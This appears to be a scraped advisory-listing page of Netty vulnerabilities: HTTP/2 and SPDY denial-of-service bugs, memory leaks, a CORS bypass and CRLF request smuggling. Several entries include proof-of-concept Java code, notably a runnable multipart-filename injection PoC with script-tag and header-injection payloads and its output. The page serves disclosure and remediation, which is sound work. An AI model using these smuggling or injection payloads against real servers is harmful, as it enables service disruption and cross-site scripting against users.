Where
AND
-Infinity
0
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the ENDHEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check: java private void verifyContinuationFrame() throws Http2Exception { verifyAssociatedWithAStream(); if (headersContinuation == null) { throw connectionError(PROTOCOLERROR, "..."); } if (streamId != headersContinuation.getStreamId()) { throw connectionError(PROTOCOLERROR, "..."); } // NO frame count limit! }

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames: java // Line 710-711: This check NEVER fires when len=0 if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len < headerBlock.readableBytes()) { headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always }

When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.

Impact This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.

Details

There is a setting in the http2 specification called SETTINGSMAXHEADERLISTSIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”

When a client sends that setting to Netty, it appears that Netty will behave as follows:

- Read the request - Proxy the request to the origin - Attempt to produce a response - Create an exception while writing the headers for the response

Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.

Remediation

When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGSMAXHEADERLISTSIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.

Impact

This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.

Credit Jonathan Looney (Engineering, Netflix)

Contact Ashley Tolbert (Security, Netflix) - artolbert@netflix.com

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
CRLF Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

java public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } });

DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } }

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.

Details Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.

PoC poc.zip

run with bash bash ./poc/run.sh

expected output: text NETTYSPDYSETTINGSCOUNTMAPTRIGGERED settingscount=262144 wirebytes=2097164 approxheapdelta=17692272 firstvalue=1 lastvalue=262144

The NETTYSPDYSETTINGSCOUNTMAPTRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wirebytes=2097164, firstvalue=1, and lastvalue=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.

Impact remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wirebytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.

PoC poc.zip

run with: bash bash ./poc/run.sh expected output: text NETTYSPDYZLIBDECODEDAFTERLIMITTRIGGERED compressedbytes=12253 declarednamelength=12582912 maxheadersize=16 truncated=true invalid=false

The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.

Impact A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches ENDHEADERBLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYNSTREAM frame with FLAGFIN=0 and stores the partially constructed FullHttpRequest in messageMap; when the remote peer sends RSTSTREAM for that stream or the accumulated content exceeds maxContentLength, the decoder removes the entry but does not release the pooled ByteBuf, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary Netty's CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.

Details In io.netty.handler.codec.http.cors.CorsHandler#channelRead, the short-circuit logic relies on the configuration returned by getForOrigin(origin) to determine if an origin is authorized. If getForOrigin returns a configuration object, the short-circuit check (!(origin == null || config != null)) is bypassed, and the request proceeds to the backend.

The vulnerability is located in the getForOrigin method:

java if (corsConfig.isNullOriginAllowed() || NULLORIGIN.equals(requestOrigin)) { return corsConfig; }

If an attacker sends Origin: null, NULLORIGIN.equals(requestOrigin) evaluates to true. The method returns the configuration object regardless of whether isNullOriginAllowed() was configured by the developer. The short-circuit is bypassed.

Impact Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A remote, unauthenticated peer can leak one direct ByteBuf per HTTP/2 DATA frame in applications that enable HTTP/2 content decompression via DelegatingDecompressorFrameListener. When a DATA frame is processed for a stream whose decompressor has already been closed, Http2Decompressor.decompress(...) retains the frame buffer but never releases it on the error path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2 connection exhausts direct memory and crashes the JVM with OutOfMemoryError — a denial of service.

Details

In codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java, Http2Decompressor.decompress(...) does:

java // around line 433 decompressor.writeInbound(data.retain());

The argument data.retain() is evaluated before writeInbound(...) executes, incrementing the buffer's reference count (refCnt: 1 -> 2). The very first statement of EmbeddedChannel.writeInbound(...) is ensureOpen() (EmbeddedChannel.java:360), which throws ClosedChannelException when the decompressor's internal EmbeddedChannel has already been closed.

When that happens: - the DATA payload has been retain()ed but never entered the pipeline, so the decoder's finally { release() } never runs; - the surrounding catch (Throwable t) block in decompress(...) (around line 451) does not release the extra reference; - the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked.

The decompressor channel is closed on a reachable path: Http2Connection onStreamRemoved → Http2Decompressor.cleanup() → EmbeddedChannel.finishAndReleaseAll() (DelegatingDecompressorFrameListener.java:125-133 and 418-420).

A peer that sends DATA frames for a stream whose decompressor has already been cleaned up (e.g. continuing to send DATA after ENDSTREAM / stream removal) thus leaks one direct ByteBuf per frame.

Affected code: DelegatingDecompressorFrameListener.java, method Http2Decompressor.decompress(...) — the decompressor.writeInbound(data.retain()) call (line ~433) and its catch (Throwable t) block (line ~451), which lacks a data.release() rollback.

Suggested fix: track whether writeInbound succeeded and roll back the extra retain() only when the data never entered the pipeline:

java boolean writeSucceeded = false; try { decompressor.writeInbound(data.retain()); writeSucceeded = true; // pipeline now owns the release if (endOfStream) { decompressor.finish(); } return 0; } catch (Throwable t) { if (!writeSucceeded) { data.release(); // roll back the extra retain(); data never entered pipeline } if (t instanceof Http2Exception) { throw (Http2Exception) t; } throw streamError(stream.id(), INTERNALERROR, t, ...); }

| Case | writeSucceeded | catch action | Reason | |------|:---:|---|---| | ensureOpen() throws (this bug) | false | data.release() | data never entered pipeline | | handler throws internally | true | no release | decoder finally already released | | finish() throws | true | no release | writeInbound already succeeded |

PoC

Reproduced against the official, unmodified netty-codec-http2-4.2.15.Final.jar from Maven Central, using real netty classes and measuring ByteBuf.refCnt() directly (the leaking logic is not mocked).

Reproduction steps:

1. Download the official artifacts and their dependencies from Maven Central (version 4.2.15.Final): netty-common, netty-buffer, netty-transport, netty-resolver, netty-handler, netty-codec-base, netty-codec, netty-codec-http, netty-codec-http2, netty-codec-compression. 2. Build a real Http2Decompressor wrapping a real gzip decoder EmbeddedChannel (ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)). 3. Close the internal decompressor channel (equivalent to the end state of cleanup() / finishAndReleaseAll()). 4. Encode a real gzip DATA payload with ZlibCodecFactory.newZlibEncoder(GZIP) (refCnt = 1). 5. Call decompress(...) on the closed channel. 6. Observe: writeInbound(...) throws ClosedChannelException at its ensureOpen() entry (EmbeddedChannel.java:360), reached from DelegatingDecompressorFrameListener.java:433; data.refCnt() is now 2. 7. Release once as the frame reader would; refCnt stays at 1 (release() returns false) → leaked.

Observed reference-count trace:

gzipData initial refCnt = 1 decompress -> data.retain() -> refCnt = 2 (retain applied, never rolled back) caller releases once -> refCnt = 1 (release() returns false; not deallocated) => buffer never reaches 0 -> direct memory leaked

Observed exception stack (confirms the leak point):

java.nio.channels.ClosedChannelException at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959) at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360) at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor .decompress(DelegatingDecompressorFrameListener.java:433)

Two notes on the harness (they do not affect the leak mechanism): - The internal channel is closed directly via close() rather than through cleanup(). The end state is identical (channel closed → writeInbound throws at ensureOpen()); the bug depends on "channel closed → retain not rolled back", not on how the channel was closed. - In the isolated harness the rethrown StreamException's root cause shows as NullPointerException because the harness does not initialise an Http2LocalFlowController (a secondary exception reported during channel close). The leak is already sealed at the ClosedChannelException thrown by writeInbound's ensureOpen() (line 360); in a real server with the flow controller initialised, the triggering exception is the ClosedChannelException itself.

A complete self-contained PoC (Verify02DecompressLeak.java, ~150 lines, no test framework) plus the exact javac / java commands can be attached on request.

Impact

- Vulnerability type: uncontrolled resource consumption / memory leak (CWE-401), leading to denial of service. Each crafted DATA frame leaks one (typically direct/off-heap) ByteBuf. - Who is impacted: any server (or client) that enables HTTP/2 content decompression by installing DelegatingDecompressorFrameListener in its HTTP/2 pipeline. - Attacker requirements: remote, unauthenticated. The attacker only needs to send HTTP/2 DATA frames for a stream whose decompressor has been cleaned up (e.g. continue sending DATA after ENDSTREAM). No special server configuration beyond decompression being enabled. - Result: sustained triggering over a long-lived connection exhausts direct memory and crashes the JVM with OutOfMemoryError.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
CRLF Injection, XSS, Command Injection
AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

1. Vulnerability Summary

| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-http multipart) | | Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | CVSS 3.1 Score | 8.1 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | Low (attacker must be able to upload files with controlled filenames) | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | High | | Integrity Impact | High | | Availability Impact | None |

2. Affected Components

The following classes in the codec-http module are affected:

- io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688) - io.netty.handler.codec.http.multipart.DiskFileUpload — setFilename() only checks null (line 78) - io.netty.handler.codec.http.multipart.MemoryFileUpload — setFilename() only checks null (line 60) - io.netty.handler.codec.http.multipart.MixedFileUpload — setFilename() delegates without validation (line 62)

3. Vulnerability Description

Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.

Root Cause

In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:

java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION

The setFilename() method in all FileUpload implementations only checks for null:

java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION }

Comparison with Similar Fixed CVEs

This vulnerability follows the same pattern as:

| CVE | Component | Fix | |-----|-----------|-----| | GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() | | GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |

The multipart encoder has no equivalent validation for filenames or field names.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does not perform its own CRLF sanitization on filenames

Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames

5. Attack Scenarios

Scenario 1: Content-Type Override via Filename Injection

An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:

java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";

DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF8, fileSize);

Wire format: --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg

<script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ...

If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.

Scenario 2: Arbitrary MIME Header Injection

java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";

Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.

Scenario 3: Multipart Boundary Confusion

java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";

By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server

6. Proof of Concept

Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)

java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.; import io.netty.handler.codec.http.multipart.;

import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets;

/ PoC: HTTP Multipart Content-Disposition Header Injection via Filename Demonstrates that HttpPostRequestEncoder does not validate filenames for CRLF characters, allowing injection of arbitrary MIME headers into multipart form data. / public class MultipartFilenameInjectionPoC {

public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");

testFilenameInjection();

System.out.println("\n=== PoC Complete ==="); }

static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------");

// Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); }

// Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--";

HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.POST, "/upload");

HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF8, HttpPostRequestEncoder.EncoderMode.RFC3986);

DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF8, tempFile.length()); fileUpload.setContent(tempFile);

encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest();

// Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF8)); chunk.release(); } } encoder.cleanFiles();

String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---");

boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO"));

tempFile.delete(); } }

How to Compile and Run

bash Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q

Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')

Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Multipart Filename CRLF Injection PoC ===

[TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--

Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r ---

Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection!

=== PoC Complete ===

7. Impact Analysis

| Impact Category | Description | |----------------|-------------| | Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens | | Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content | | Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back | | Form Field Override | Inject new multipart boundaries to create/override form fields | | Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |

8. Remediation Recommendations

Option 1: Validate in FileUpload.setFilename() (Recommended)

java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; }

Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)

Escape or reject CRLF characters when building Content-Disposition headers:

java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; }

// Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");

Option 3: RFC 2231/5987 Encoding for Filenames

Use proper RFC 2231 encoding for filenames with special characters:

java // Encode filename per RFC 5987: // filename=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename=" + encodedFilename + "\r\n");

9. References

- RFC 2183: Content-Disposition Header Field - RFC 7578: Returning Values from Forms: multipart/form-data - RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters - CWE-93: Improper Neutralization of CRLF Sequences - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern) - GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending Sec-WebSocket-Version: 7 and omitting Connection: Upgrade / Upgrade: websocket headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.

1 / 2
Source: MITRE
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (Http2StreamFrameToHttpObjectCodec and InboundHttp2ToHttpAdapter) fails to deduplicate or validate Host headers when an HTTP/2 client supplies both the :authority pseudo-header and a literal host header in a single HEADERS frame. The translator maps :authority to Host and separately copies the literal host header, producing an HttpRequest object containing two Host headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.

1 / 2
Source: MITRE
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact HttpContentEncoder (the superclass of the production handler HttpContentCompressor) maintains a per-channel ArrayDeque<CharSequence> named acceptEncodingQueue that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.

1 / 4
Source: GitHub
First published (updated )
Severity
